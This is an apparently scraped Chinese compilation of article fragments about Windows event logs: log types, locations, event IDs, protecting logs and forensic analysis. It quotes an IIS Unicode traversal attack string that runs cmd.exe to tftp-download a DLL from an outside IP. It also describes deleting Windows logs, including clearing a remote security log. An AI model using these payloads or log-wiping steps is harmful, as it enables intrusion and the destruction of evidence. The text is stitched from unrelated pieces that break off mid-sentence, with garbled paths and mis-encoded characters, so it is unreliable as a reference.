Windows日志文件全解读
电脑删除文件的日志-概述说明以及解释
电脑删除文件的日志-概述说明以及解释1.引言1.1 概述概述：电脑删除文件的日志是指在电脑系统中记录文件删除操作的相关信息。
当用户删除文件时，系统会生成相应的日志记录，包括删除时间、删除者、删除文件名等信息。
这些日志记录对于文件管理和数据安全至关重要。
通过分析日志记录，可以了解文件删除的情况，以便及时恢复误删文件或追踪恶意删除行为。
在本文中，我们将探讨电脑删除文件的日志记录方式、日志对文件恢复的影响以及日志记录的重要性。
通过深入了解这些内容，可以更好地理解电脑文件管理的重要性，从而提高文件安全性和数据管理的效率。
1.2 文章结构本文主要分为三个部分，分别是引言、正文和结论。
引言部分将首先对电脑删除文件的日志进行概述，介绍电脑删除文件的日志记录方式，并阐明文章的目的。
正文部分将深入探讨电脑删除文件的日志记录方式，分析日志对文件恢复的影响，并探讨日志记录的重要性。
结论部分将总结电脑删除文件日志的作用，提出建议提高电脑文件安全性的方法，并展望未来电脑文件管理的发展趋势。
通过这三部分的分析和讨论，读者将对电脑删除文件的日志有更深入的理解，并对提高文件安全性有更多的思考。
1.3 目的本文的主要目的是介绍电脑删除文件的日志记录方式，并探讨日志对文件恢复的影响，以及强调日志记录对文件管理的重要性。
通过深入分析和讨论，我们希望读者能够认识到电脑删除文件的日志记录对于维护文件安全、保护隐私信息的重要性，以及如何提高电脑文件管理的安全性。
同时，展望未来电脑文件管理的发展趋势，为读者提供更好更安全的文件管理方案和方法。
通过本文的阐述，读者将能够更好地了解电脑删除文件的日志记录技术，从而更好地保护自己的文件和隐私信息。
2.正文2.1 电脑删除文件的日志记录方式电脑删除文件的日志记录方式通常分为两种方法：一种是通过操作系统自带的日志功能记录文件的删除操作，另一种是通过第三方软件或工具进行日志记录。
1. 操作系统自带的日志功能：大多数操作系统都会记录文件的删除操作，这些日志会包含文件的名称、路径、删除时间、操作者等信息。
windows系统日志分析
（1）unicode漏洞入侵日志记录
这个是个非常经典的漏洞了，要找这样的服务器估计得去国外慢慢找了，但是因为它的日志是最经典的一个，所以我们这里特别拿它来做个示范。
我们打开IIS5的Web服务的日志文件,日志文件默认位置在%systemroot%\ system32\LogFiles\文件夹下，如图１所示是一个典型的Unicode漏洞入侵行为的日志记录，对于正常的Web访问，是通过80端口用 GET命令获取Web数据，但通过非法的字符编码可绕过字符验证而得到不应该得到的信息。但补上相应的补丁可堵上此漏洞。如图一所示。
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/c+tftp%20-i%2061.48.10.129%20GET%20cool.dll%20c:\httpodbc.dll
502 –
看到了吧？记录非常详细的，系统里面那个程序在响应都记录了下来，这样我们分析入侵行为就好办了。
在此介绍移位的目的是为了充分利用Windows 2000在NTFS格式下的“安全”属性，如果不移位也无法对文件进行安全设置操作，右击移位后的“文件夹选择属性”，进入“安全”选项卡，不选择“允许将来自父系的可继承权限传播给该对象”，添加“System”组，分别给Everyone组“读取”权限，System组选择除“完全控制”和“修改”的权限。然后再将系统默认的日志文件512KB大小改为你所想要的大小，如20MB。进行了上面的设置后，直接通过Del C:\*.Evt/s/q来删除是删不掉的，相对要安全很多了。
我们配合入侵来看下这样的记录：通过下面的编码我们在入侵的时候可以查看目标机的目录文件：
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 200
Windows系统日志取证分析简述
• 21•计算机犯罪现象越来越多，预防与遏制它们成为当前社会的技术难题，任何人在计算机中的操作都会在日志文件中留下痕迹。
日志文件种类很多，需要关注各种类型的日志文件进行合并取证分析。
首先介绍了Windows 日志，包括系统日志、安全日志、应用程序日志，然后说明了Windows 日志中事件类型，然后从web 日志的分析入手，剖析不同的日志文件我们分析时所要注意的重点内容。
日志分析对计算机取证有重要作用。
某一个日志会记录它所在系统或应用程序的各种信息。
在进行计算机取证分析时，我们要全面的分析多个日志文件，如果仅对单一日志文件分析那么我们可能会漏掉许多信息。
我们需要做的就是把所有获取的日志文件进行比对、整合、关联使得他们能够为我们形成一个较为完整的犯罪场景，为我们的进一步工作提供支持。
1 日志1.1 日志的概念日志(Log)起源于航海日志。
航海日志就是我们航海归来之后我们可以对在海上的工作进行分析，总的来说就是一个海上的日记。
日志(Log)表示在时间上连续地设置有由系统指定的对象的动作及其动作结果。
为了保持计算机系统资源的运行状态，系统会将任何活动和在操作中出现的一系列情况进行详细记录，并保存它们。
这些信息对于电脑犯罪取证人员来说是非常有用的。
1.2 Windows日志日志文件不同于我们系统中的其他文件，它有着不一样的用处与作用。
目前计算机中使用最多的Windows 操作系统，如今越来越多的Windows 操作系统日志以二进制形式保存，他们有着自己的存储方式，就是循环覆盖缓存。
它们记录了用户在系统里面完成了什么操作，还有做出了什么样的错误指令以及其他的一些记录。
我们通过查看系统的这些文件，不仅可以回看用户正确操作，同时也可以去搜索那些的错误操作以及不是系统用户本人做出的操作。
因此，无论是系统管理者还是黑客，都非常重视这些文件。
管理员可以通过这些文件查看系统的安全状态，并且找到入侵者的IP 地址或各种入侵证据。
了解计算机的系统日志和错误报告
了解计算机的系统日志和错误报告计算机系统日志和错误报告是帮助我们了解计算机运行情况以及排除故障的重要工具。
本文将介绍计算机系统日志和错误报告的概念、作用以及如何使用它们进行故障排查。
一、计算机系统日志计算机系统日志是记录计算机操作系统和应用程序的行为的文件。
它会记录各种事件和错误信息，包括系统启动、关机、驱动程序加载、应用程序运行等等。
通过查看系统日志，我们可以了解计算机在特定时间段内的操作情况，从而帮助我们排查问题。
1.1 日志类型计算机系统日志包括应用程序日志、安全日志、系统日志等多个类型。
应用程序日志记录了应用程序的运行情况，安全日志用于追踪系统的安全事件和威胁，系统日志则记录了操作系统的运行情况，如启动和关闭事件，设备驱动加载等。
1.2 查看系统日志在Windows操作系统中，我们可以通过“事件查看器”来查看系统日志。
在事件查看器中，可以根据日志类型和时间范围过滤日志信息，并可以查看详细的事件描述、错误代码等。
在Linux系统中，我们可以通过命令行工具如“dmesg”或者“journalctl”来查看系统日志。
二、计算机错误报告计算机错误报告是记录计算机硬件和软件错误的记录。
当计算机遇到错误时，它会生成错误报告，其中包含导致错误的原因以及可能的解决方案。
通过查看错误报告，我们可以更好地了解和解决计算机故障。
2.1 错误报告类型计算机错误报告可以分为硬件错误报告和软件错误报告。
硬件错误报告通常涉及计算机的硬件组件，如内存、硬盘、显卡等，而软件错误报告则与操作系统或应用程序相关。
2.2 查看错误报告在Windows操作系统中，我们可以通过“问题报告和解决”功能来查看错误报告。
在该功能中，系统会展示最近的错误报告，并提供一些解决方案。
在Linux系统中，可以通过查看/var/log目录下的日志文件来获得错误报告。
三、使用系统日志和错误报告进行故障排查了解系统日志和错误报告可以帮助我们快速排查计算机故障并解决问题。
电脑系统日志的查看与分析
电脑系统日志的查看与分析在我们日常使用电脑的过程中，电脑系统会默默地记录下各种操作和事件，这些记录被称为系统日志。
系统日志就像是电脑的“日记”，它详细地记载了电脑运行的点点滴滴。
通过查看和分析系统日志，我们可以了解电脑的运行状况、发现潜在的问题，并采取相应的措施来解决它们。
接下来，让我们一起深入了解电脑系统日志的查看与分析。
一、什么是电脑系统日志电脑系统日志是一个记录系统活动和事件的文件或数据库。
它包含了关于操作系统、应用程序、硬件设备以及用户操作等方面的信息。
系统日志的类型多种多样，常见的有系统日志、应用程序日志、安全日志等。
系统日志通常记录了系统的启动和关闭时间、系统错误和警告信息、硬件设备的连接和断开情况等。
应用程序日志则记录了特定应用程序的运行情况，如软件的安装、更新、错误和异常等。
安全日志主要关注与系统安全相关的事件，如用户登录和注销、权限更改、文件访问等。
二、为什么要查看和分析系统日志1、故障排查当电脑出现故障或异常时，系统日志可以提供重要的线索。
例如，如果电脑频繁死机或蓝屏，通过查看系统日志中的错误代码和相关信息，我们可以初步判断问题的所在，是硬件故障、驱动程序问题还是系统文件损坏等。
2、安全监控系统日志可以帮助我们监测是否有未经授权的访问、恶意软件的活动或其他安全威胁。
通过分析安全日志中的登录记录和权限更改信息，我们可以及时发现异常情况并采取措施加以防范。
3、性能优化了解系统的资源使用情况和性能瓶颈对于优化电脑性能至关重要。
系统日志可以提供有关 CPU 使用率、内存占用、磁盘 I/O 等方面的信息，帮助我们找出性能不佳的原因，并进行相应的调整和优化。
4、合规性要求在一些企业和组织中，出于合规性的要求，需要对电脑系统的活动进行记录和审计。
系统日志可以作为证据，证明系统的操作符合相关的法规和政策。
三、如何查看电脑系统日志不同的操作系统查看系统日志的方法略有不同。
以下是常见操作系统的查看方法：1、 Windows 系统在 Windows 系统中，我们可以通过以下步骤查看系统日志：（1）按下“Win ＋R”组合键，打开“运行”对话框，输入“eventvwrmsc”并回车。
windows系统日志分析
2． 设置文件访问权限
修改了日志文件的存放目录后，日志还是可以被清空的，下面通过修改日志文件访问权限，防止这种事情发生，前提是Windows系统要采用NTFS文件系统格式。
右键点击D盘的CCE目录，选择“属性”，切换到“安全”标签页后，首先取消“允许将来自父系的可继承权限传播给该对象”选项勾选。接着在账号列表框中选中“Everyone”账号，只给它赋予“读取”权限；然后点击“添加”按钮，将“System”账号添加到账号列表框中，赋予除“完全控制”和“修改”以外的所有权限，最后点击“确定”按钮。这样当用户清除Windows日志时，就会弹出错误对话框。
二、Windows日志实例分析
在Windows日志中记录了很多操作事件，为了方便用户对它们的管理，每种类型的事件都赋予了一个惟一的编号，这就是事件ID。
1． 查看正常开关机记录
在Windows系统中，我们可以通过事件查看器的系统日志查看计算机的开、关机记录，这是因为日志服务会随计算机一起启动或关闭，并在日志留下记录。这里我们要介绍两个事件ID“6006和6005”。6005表示事件日志服务已启动，如果在事件查看器中发现某日的事件ID号为6005的事件，就说明在这天正常启动了Windows系统。6006表示事件日志服务已停止，如果没有在事件查看器中发现某日的事件ID号为6006的事件，就表示计算机在这天没有正常关机，可能是因为系统原因或者直接切断电源导致没有执行正常的关机操作。
笔者以应用程序日志为例，将其转移到“d:\cce”目录下。选中Application子项（如图），在右栏中找到File键，其键值为应用程序日志文件的路径“%SystemRoot%system32configAppEvent.Evt”，将它修改为“d:cceAppEvent.Evt”。接着在D盘新建“CCE”目录，将“AppEvent.Evt”拷贝到该目录下，重新启动系统，完成应用程序日志文件存放目录的修改。其它类型日志文件路径修改方法相同，只是在不同的子项下操作，或建立一系列深目录以存放新日志文件，如D:\01\02\03\04\05\06\07，起名的原则就是要“越不起眼，越好”。
Windows 系统日志文件的保护
Windows 系统日志文件的保护、备份和分析Windows系统以它的易用性倍受网管员的青睐，国内相当部分的大型网站都是用Windows 2000/XP系统建立的。
Windows系统使用的人多了，研究它安全的人也多了。
在此我要提醒一下网管们，虽然你补上了所有的安全补丁，但是谁又知道新的漏洞何时又会被发现呢？所以也应该做好系统日志的保护工作。
作为黑客，他们也是最关心系统日志的，一旦他们入侵成功，要做的第一件事就是删除你的日志文件，使你在被入侵后无法追踪黑客行为，以及检查黑客所做的操作行为。
日志文件就像飞机中的“黑匣子”一样重要，因为里面保存着黑客入侵行为的所有罪证。
日志的移位与保护Windows 2000的系统日志文件包括：应用程序日志、安全日志、系统日志、DNS服务日志，以及FTP连接日志和HTTPD日志等。
在默认情况下日志文件大小为512KB，日志保存的默认的位置如下：安全日志文件：%systemroot%\system32\config \SecEvent.EVT系统日志文件：%systemroot%\system32\config \SysEvent.EVT应用程序日志文件：%systemroot%\system32\config \AppEvent.EVTFTP连接日志和HTTPD事务日志：%systemroot% \system32\LogFiles\，下面还有子文件夹，分别对应该FTP和Web服务的日志，其对应的后缀名为.Log。
在此笔者把系统默认为.EVT扩展名的日志文件统称为事件日志，笔者看了好多文章介绍对事件日志移位能做到很好的保护。
移位虽是一种保护方法，但只要在命令行输入dirc:\*.evt/s（如系统安装在D盘，则盘符为D），一下就可查找到事件日志位置。
日志移位要通过修改注册表来完成，我们找到注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog位置，下面的Application、Security、System几个子键，分别对应“应用程序日志”、“安全日志”、“系统日志”。
Windows事件日志简要解析
Windows事件日志简要解析简介：Windows系统内置三个核心日志文件：System、Security、Application，默认大小均为20480kB也就是20MB，记录数据超过20MB时会覆盖过期的日志记录；其他的应用程序以及服务日志默认大小均为1MB，超过这个大小一样的处理方法。
日志类型：事件类型注释信息（Information）指应用程序、驱动程序、或服务的成功操作事件警告（Warning）警告事件不是直接的、主要的，但是会导致将来问题的发生错误（Error）指用户应该知晓的重要问题成功审核（Success Audit）主要指安全性日志，记录用户的登录/注销、对象访问、特权使用、账户管理、策略更改、详细跟踪、目录服务访问、账户登录事件失败审核（FailureAudit）失败的审核安全登录尝试事件日志文件类型：类别类型描述文件名Windows 日志系统包含系统进程，设备磁盘活动等。
事件记录了设备驱动无法正常启动或停止，硬件失败，重复IP地址，系统进程的启动，停止及暂停等行为。
System.evtxWindows 日志安全包含安全性相关的事件，如用户权限变更，登录及注销，文件及文件夹访问，打印等信息。
Security.evtxWindows 日志应用程序包含操作系统安装的应用程序软件相关的事件。
事件包括了错误、警告及任何应用程序需要报告的信息，应用程序开发人员可以决定记录哪些信息。
Application.evtx应用程序及服务日志Microsoft Microsoft文件夹下包含了200多个微软内置的事件日志分类，只有部分类型默认启用记录功能，如远程桌面客户端连接、无详见日志存储目录对应文件类别类型描述文件名线网络、有线网路、设备安装等相关日志。
应用程序及服务日志MicrosoftOfficeAlters微软Office应用程序（包括Word/Excel/PowerPoint等）的各种警告信息，其中包含用户对文档操作过程中出现的各种行为，记录有文件名、路径等信息。
windows安全日志分析
window安全日志分析今日服务器遭受入侵，入侵路径回溯：被入侵服务器—>跳板机—>办公网某主机。
因此整理记录windows被入侵相关信息。
本文只研究windows安全登录相关日志，介绍三种事件类型（登录，注销，尝试登陆）。
通过此日志可查看windows主机是否通过3389远程服务爆破进入。
注：windows日志有存储大小限制，有被覆盖的可能.可修改，请自行百度。
1.1 windows日志位置我的电脑右键管理：刷选windows安全日志事件ID:4000-4700,登录相关1.2 三种登录事件详解1.2.1 事件4648（尝试登陆）事件4648描述：此事件发生在日志所在windows主机，表明日志所在windows主机尝试连接远程主机,无论连接成功与否,这里都会记录。
网络地址端口：经测试发现只有同一局域网(且同一C段)才会记录目标服务器ip端口。
1.2.2 事件4624（登陆成功）事件4624描述:表示日志所在win主机被成功连接“使用者"：指明本地系统上请求登录的帐户。
这通常是一个服务（例如Server 服务）或本地进程（例如Winlogon。
exe 或Services.exe).“登录类型”：指明发生的登录种类。
最常见的类型是 2 （交互式）和3 （网络)。
（登陆类型3:例如连接共享文件，打印机等；登陆类型7：解锁；登陆类型10：例如远程桌面等参考连接：http://blog。
sina。
/s/blog_5c39a08901012uu5。
html）“新登录”：指明新登录是为哪个帐户创建的，即登录的帐户。
“网络信息”：指明远程登录请求来自哪里.“工作站名”并非总是可用，而且在某些情况下可能会留为空白.1.2.3 事件4634（注销）1.3 日志分析工具log_parser_lizard工具介绍:一个Log Parser的图形版，功能强大（可能需要安全相关依赖，我一开始安装了Log Parser) 使用参考连接: http://blog。
通用日志解析
通用日志解析：深入了解系统日志记录系统日志是操作系统中非常重要的一项功能，用于记录系统中各种事件的信息，包括用户登录、系统启动、应用程序登录、文件访问等等。
在现代操作系统中，系统日志已经成为了系统安全和维护的重要工具。
本文将深入探讨通用日志解析的相关知识，帮助读者更好地理解系统日志记录的含义和作用。
一、系统日志的作用系统日志是操作系统中非常重要的一项功能，用于记录系统中各种事件的信息。
包括用户登录、系统启动、应用程序登录、文件访问等等。
系统日志的记录可以帮助操作系统更好地记录系统中发生的事件，为系统维护和安全提供有力的支持。
二、通用日志解析通用日志解析是指对系统日志中各种事件进行分类、分析和解读，以便更好地理解系统运行情况和事件含义。
通用日志解析需要具备一定的系统知识和经验，以下是一些常见的系统日志记录和其含义:1. 登录日志登录日志记录了系统中用户登录的信息，包括用户名、登录时间、登录方式等等。
登录日志对于系统管理员来说是非常重要的，可以帮助他们更好地了解系统中用户的使用情况，及时发现和解决安全问题。
2. 系统日志系统日志记录了系统中各种事件的信息，包括系统启动、应用程序登录、文件访问等等。
系统日志对于操作系统的维护和安全非常重要，可以帮助操作系统更好地记录系统中发生的事件，并及时采取措施。
3. 错误日志错误日志记录了系统中发生的错误信息，包括程序错误、内存错误等等。
错误日志对于系统管理员来说是非常重要的，可以帮助他们更好地了解系统中的错误情况，并及时采取措施。
4. 安全日志安全日志记录了系统中发生的安全事件，包括入侵、攻击等等。
安全日志对于系统管理员来说是非常重要的，可以帮助他们更好地了解系统中的安全情况，并及时采取措施。
三、总结系统日志是操作系统中非常重要的一项功能，用于记录系统中各种事件的信息。
通用日志解析需要具备一定的系统知识和经验，可以帮助操作系统更好地记录系统中发生的事件，并及时采取措施。
windows日志
一．Windows日志系统WindowsNT/2000的系统日志文件有应用程序日志AppEvent.Evt、安全日志SecEvent.Evt、系统日志SysEvent.Evt，根据系统开通的服务还会产生相应的日志文件。
例如，DNS服务器日志DNS Serv.evt，FTP日志、WWW日志等。
日志文件默认存放位置：%systemroot%\system32\config，默认文件大小512KB。
这些日志文件在注册表中的位置为HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog，可以修改相应键值来改变日志文件的存放路径和大小。
Windows NT/2000主要有以下三类日志记录系统事件：应用程序日志、系统日志和安全日志。
1．应用程序日志记录由应用程序产生的事件。
例如，某个数据库程序可能设定为每次成功完成备份后都向应用程序日志发送事件记录信息。
应用程序日志中记录的时间类型由应用程序的开发者决定，并提供相应的系统工具帮助用户查看应用程序日志。
2．系统日志记录由WindowsNT/2000操作系统组件产生的事件，主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。
系统日志中记录的时间类型由Windows NT/2000操作系统预先定义。
3．安全日志记录与安全相关的事件，包括成功和不成功的登录或退出、系统资源使用事件(系统文件的创建、删除、更改)等。
与系统日志和应用程序日志不同，安全日志只有系统管理员才可以访问。
在WindowsXP中，事件是在系统或程序中发生的、要求通知用户的任何重要事情，或者是添加到日志中的项。
事件日志服务在事件查看器中记录应用程序、安全和系统事件。
通过使用事件查看器中的事件日志，用户可以获取有关硬件、软件和系统组件的信息，并可以监视本地或远程计算机上的安全事件。
事件日志可帮助您确定和诊断当前系统问题的根源，还可以帮助用户预测潜在的系统问题。
Windows日志浅析
Windows⽇志浅析Windows⽇志浅析(转载)⼀、概述Windows⽇志从Windows2000版本后共包括9种审计策略，Windows NT只有7种共分为：帐户登录、登录、对象访问、⽬录服务访问、进程追踪、特权使⽤、帐户管理、策略变更、系统事件9⼤类。
其中帐户登录其实是对登录⽤户的认证事件，据⼤神Randy⾃⼰说，称其为“认证事件“更为合适。
登录事件记录的是⽤户登录到哪台PC的事件。
对象访问记录的是⽤户对Windows对象的访问事件，这⾥对象包括注册表、服务、打印机、⽂件/⽂件夹等。
⽬录服务访问就是对AD中所有对象的访问事件。
进程追踪则为主机执⾏的程序事件，不管是由⽤户⾃⼰执⾏还是系统⾃动执⾏的。
特权使⽤指⽤户使⽤分配的特权的事件，这⾥特权指在本地安全策略中分配给⽤户的权限。
帐户管理则包含了本地帐户、⽤户组、DC中域⽤户、域⽤户组等对象的管理、密码设置等事件。
策略变更指本地安全策略或DC上信任关系变化的事件。
系统事件则涉及到⼀些安全事件的杂项，如系统的启动和关闭、系统事件修改等等。
每个windows⽇志都由两部分组成：头字段和描述字段。
头字段是相对内容和格式都固定的部分，包括的信息有：事件的id、⽇期和时间、事件的结果（成功还是失败）、事件的来源和类别。
由于安全⽇志所有的来源都记为“source”，因此意义不⼤。
⽽类别就是（⼀）中提到的9种类别。
这⾥的⽤户字段⽤处也不是很⼤，因为很多事件简单地记为“STSTEM”为⽤户，所以真正要看是什么⽤户触发了该条⽇志还是要看描述字段⾥⾯是否有相应的实际⽤户（这些在随后的⽇志分析中会涉及到）。
很多时候我们需要详细分析描述字段中的信息，这部分出现的信息也会随具体的事件⽽不同，但是其形式都是为⼀系列组合信息，每个组合信息是⼀个内容固定的描述信息（类似占位符的作⽤），以及后⾯的动态信息。
举个例⼦来说：ID680事件的描述字段包括：“Logon account: Administrator”。
windows系统日志与入侵检测详解-电脑教程
windows系统日志与入侵检测详解-电脑教程.txt我很想知道,多少人分开了,还是深爱着.ゝ自己哭自己笑自己看着自己闹.你用隐身来躲避我丶我用隐身来成全你！待到一日权在手,杀尽天下负我狗.windows系统日志与入侵检测详解-电脑教程系统日志源自航海日志：当人们出海远行地时候,总是要做好航海日志,以便为以后地工作做出依据.日志文件作为微软Windows系列操作系统中地一个比较特殊地文件,在安全方面具有无可替代地价值.日志每天为我们忠实地记录着系统所发生一切,利用系统日志文件,可以使系统管理员快速对潜在地系统入侵作出记录和预测,但遗憾地是目前绝大多数地人都忽略了它地存在.反而是因为黑客们光临才会使我们想起这个重要地系统日志文件.7.1 日志文件地特殊性要了解日志文件,首先就要从它地特殊性讲起,说它特殊是因为这个文件由系统管理,并加以保护,一般情况下普通用户不能随意更改.我们不能用针对普通TXT文件地编辑方法来编辑它.例如WPS系列、Word系列、写字板、Edit等等,都奈何它不得.我们甚至不能对它进行“重命名”或“删除”、“移动”操作,否则系统就会很不客气告诉你:访问被拒绝.当然,在纯DOS地状态下,可以对它进行一些常规操作(例如Win98状态下>,但是你很快就会发现,你地修改根本就无济于事,当重新启动Windows 98时,系统将会自动检查这个特殊地文本文件,若不存在就会自动产生一个；若存在地话,将向该文本追加日志记录.7.1.1 黑客为什么会对日志文件感兴趣黑客们在获得服务器地系统管理员权限之后就可以随意破坏系统上地文件了,包括日志文件.但是这一切都将被系统日志所记录下来,所以黑客们想要隐藏自己地入侵踪迹,就必须对日志进行修改.最简单地方法就是删除系统日志文件,但这样做一般都是初级黑客所为,真正地高级黑客们总是用修改日志地方法来防止系统管理员追踪到自己,网络上有很多专门进行此类功能地程序,例如Zap、Wipe等.7.1.2 Windows系列日志系统简介1.Windows 98地日志文件因目前绝大多数地用户还是使用地操作系统是Windows 98,所以本节先从Windows 98地日志文件讲起.Windows 98下地普通用户无需使用系统日志,除非有特殊用途,例如,利用Windows 98建立个人Web服务器时,就会需要启用系统日志来作为服务器安全方面地参考,当已利用Windows 98建立个人Web服务器地用户,可以进行下列操作来启用日志功能.(1>在“控制面板”中双击“个人Web服务器”图标；(必须已经在配置好相关地网络协议,并添加“个人Web服务器”地情况下>.(2>在“管理”选项卡中单击“管理”按钮；(3>在“Internet服务管理员”页中单击“WWW管理”；(4>在“WWW管理”页中单击“日志”选项卡；(5>选中“启用日志”复选框,并根据需要进行更改. 将日志文件命名为“Inetserver_event.log”.如果“日志”选项卡中没有指定日志文件地目录,则文件将被保存在Windows文件夹中.普通用户可以在Windows 98地系统文件夹中找到日志文件schedlog.txt.我们可以通过以下几种方法找到它.在“开始”/“查找”中查找到它,或是启动“任务计划程序”,在“高级”菜单中单击“查看日志”来查看到它.Windows 98地普通用户地日志文件很简单,只是记录了一些预先设定地任务运行过程,相对于作为服务器地NT操作系统,真正地黑客们很少对Windows 98发生兴趣.所以Windows 98下地日志不为人们所重视.2.Windows NT下地日志系统Windows NT是目前受到攻击较多地操作系统,在Windows NT中,日志文件几乎对系统中地每一项事务都要做一定程度上地审计.Windows NT地日志文件一般分为三类：系统日志：跟踪各种各样地系统事件,记录由 Windows NT 地系统组件产生地事件.例如,在启动过程加载驱动程序错误或其它系统组件地失败记录在系统日志中.应用程序日志：记录由应用程序或系统程序产生地事件,比如应用程序产生地装载dll(动态链接库>失败地信息将出现在日志中.安全日志：记录登录上网、下网、改变访问权限以及系统启动和关闭等事件以及与创建、打开或删除文件等资源使用相关联地事件.利用系统地“事件管理器”可以指定在安全日志中记录需要记录地事件,安全日志地默认状态是关闭地.Windows NT地日志系统通常放在下面地位置,根据操作系统地不同略有变化.C:systemrootsystem32configsysevent.evtC:systemrootsystem32configsecevent.evtC:systemrootsystem32configappevent.evtWindows NT使用了一种特殊地格式存放它地日志文件,这种格式地文件可以被事件查看器读取,事件查看器可以在“控制面板”中找到,系统管理员可以使用事件查看器选择要查看地日志条目,查看条件包括类别、用户和消息类型.3.Windows 2000地日志系统与Windows NT一样,Windows 2000中也一样使用“事件查看器”来管理日志系统,也同样需要用系统管理员身份进入系统后方可进行操作,如图7-1所示.图7-1在Windows 2000中,日志文件地类型比较多,通常有应用程序日志,安全日志、系统日志、DNS服务器日志、FTP日志、WWW日志等等,可能会根据服务器所开启地服务不同而略有变化.启动Windows 2000时,事件日志服务会自动启动,所有用户都可以查看“应用程序日志”,但是只有系统管理员才能访问“安全日志”和“系统日志”.系统默认地情况下会关闭“安全日志”,但我们可以使用“组策略”来启用“安全日志”开始记录.安全日志一旦开启,就会无限制地记录下去,直到装满时停止运行.Windows 2000日志文件默认位置：应用程序日志、安全日志、系统日志、DNS日志默认位置：%systemroot%sys tem32config,默认文件大小512KB,但有经验地系统管理员往往都会改变这个默认大小.安全日志文件：c:sys temrootsys tem32configSecEvent.EVT系统日志文件：c:sys temrootsys tem32configSysEvent.EVT应用程序日志文件：c:sys temrootsys tem32configAppEvent.EVTInternet信息服务FTP日志默认位置：c:systemrootsys tem32logfilesmsftpsvc1. Internet信息服务WWW日志默认位置：c:systemrootsys tem32logfilesw3svc1.Scheduler服务器日志默认位置：c:systemrootschedlgu.txt .该日志记录了访问者地IP,访问地时间及请求访问地内容.因Windows2000延续了NT地日志文件,并在其基础上又增加了FTP和WWW日志,故本节对FTP日志和WWW日志作一个简单地讲述.FTP日志以文本形式地文件详细地记录了以FTP方式上传文件地文件、来源、文件名等等.不过因为该日志太明显,所以高级黑客们根本不会用这种方法来传文件,取而代之地是使用RCP.FTP日志文件和WWW日志文件产生地日志一般在c:sys temrootsystem32LogFilesW3SVC1目录下,默认是每天一个日志文件,FTP和WWW日志可以删除,但是FTP日志所记录地一切还是会在系统日志和安全日志里记录下来,如果用户需要尝试删除这些文件,通过一些并不算太复杂地方法,例如首先停止某些服务,然后就可以将该日志文件删除.具体方法本节略.Windows 2000中提供了一个叫做安全日志分析器(CyberSafe Log Analyst,CLA>地工具,有很强地日志管理功能,它可以使用户不必在让人眼花缭乱地日志中慢慢寻找某条记录,而是通过分类地方式将各种事件整理好,让用户能迅速找到所需要地条目.它地另一个突出特点是能够对整个网络环境中多个系统地各种活动同时进行分析,避免了一个个单独去分析地麻烦. 4.Windows XP日志文件说Windows XP地日志文件,就要先说说Internet连接防火墙(ICF>地日志,ICF地日志可以分为两类：一类是ICF审核通过地IP数据包,而一类是ICF抛弃地IP数据包.日志一般存于Windows目录之下,文件名是pfirewall.log.其文件格式符合W3C扩展日志文件格式(W3C Extended Log File Format>,分为两部分,分别是文件头(Head Information>和文件主体(Body Information>.文件头主要是关于Pfirewall.log这个文件地说明,需要注意地主要是文件主体部分.文件主体部分记录有每一个成功通过ICF审核或者被ICF所抛弃地IP数据包地信息,包括源地址、目地地址、端口、时间、协议以及其他一些信息.理解这些信息需要较多地TCP/IP协议地知识.ICF生成安全日志时使用地格式是W3C扩展日志文件格式,这与在常用日志分析工具中使用地格式类似. 当我们在WindowsXP地“控制面板”中,打开事件查看器,如图7-2所示.就可以看到WindowsXP中同样也有着系统日志、安全日志和应用日志三种常见地日志文件,当你单击其中任一文件时,就可以看见日志文件中地一些记录,如图7-3所示.图7-2 图7-3在高级设备中,我们还可以进行一些日志地文件存放地址、大小限制及一些相关操作,如图7-4所示.图7-4若要启用对不成功地连接尝试地记录,请选中“记录丢弃地数据包”复选框,否则禁用.另外,我们还可以用金山网镖等工具软件将“安全日志”导出和被删除.5.日志分析当日志每天都忠实地为用户记录着系统所发生地一切地时候,用户同样也需要经常规范管理日志,但是庞大地日志记录却又令用户茫然失措,此时,我们就会需要使用工具对日志进行分析、汇总,日志分析可以帮助用户从日志记录中获取有用地信息,以便用户可以针对不同地情况采取必要地措施.7.2 系统日志地删除因操作系统地不同,所以日志地删除方法也略有变化,本文从Windows 98和Windows 2000两种有明显区别地操作系统来讲述日志地删除.7.2.1 Windows 98下地日志删除在纯DOS下启动计算机,用一些常用地修改或删除命令就可以消除Windows 98日志记录.当重新启动Windows98后,系统会检查日志文件地存在,如果发现日志文件不存在,系统将自动重建一个,但原有地日志文件将全部被消除.7.2.2 Windows 2000地日志删除Windows 2000地日志可就比Windows 98复杂得多了,我们知道,日志是由系统来管理、保护地,一般情况下是禁止删除或修改,而且它还与注册表密切相关.在Windows 2000中删除日志首先要取得系统管理员权限,因为安全日志和系统日志必须由系统管理员方可查看,然后才可以删除它们.我们将针对应用程序日志,安全日志、系统日志、DNS服务器日志、FTP日志、WWW日志地删除做一个简单地讲解.要删除日志文件,就必须停止系统对日志文件地保护功能.我们可以使用命令语句来删除除了安全日志和系统日志外地日志文件,但安全日志就必须要使用系统中地“事件查看器”来控制它,打开“控制面板”地“管理工具”中地“事件查看器”.在菜单地“操作”项有一个名为“连接到另一台计算机”地菜单输入远程计算机地IP,然后需要等待,选择远程计算机地安全性日志,点击属性里地“清除日志”按钮即可.7.3 发现入侵踪迹如何当入侵者企图或已经进行系统地时候,及时有效地发现踪迹是目前防范入侵地热门话题之一.发现入侵踪迹地前题就是应该有一个入侵特征数据库,我们一般使用系统日志、防火墙、检查IP报头(IP header>地来源地址、检测Email地安全性以及使用入侵检测系统(IDS>等来判断是否有入侵迹象.我们先来学习一下如何利用端口地常识来判断是否有入侵迹象：电脑在安装以后,如果不加以调整,其默认开放地端口号是139,如果不开放其它端口地话,黑客正常情况下是无法进入系统地.如果平常系统经常进行病毒检查地话,而突然间电脑上网地时候会感到有反应缓慢、鼠标不听使唤、蓝屏、系统死机及其它种种不正常地情况,我们就可以判断有黑客利用电子信件或其它方法在系统中植入地特洛伊木马.此时,我们就可以采取一些方法来清除它,具体方法在本书地相关章节可以查阅.7.3.1 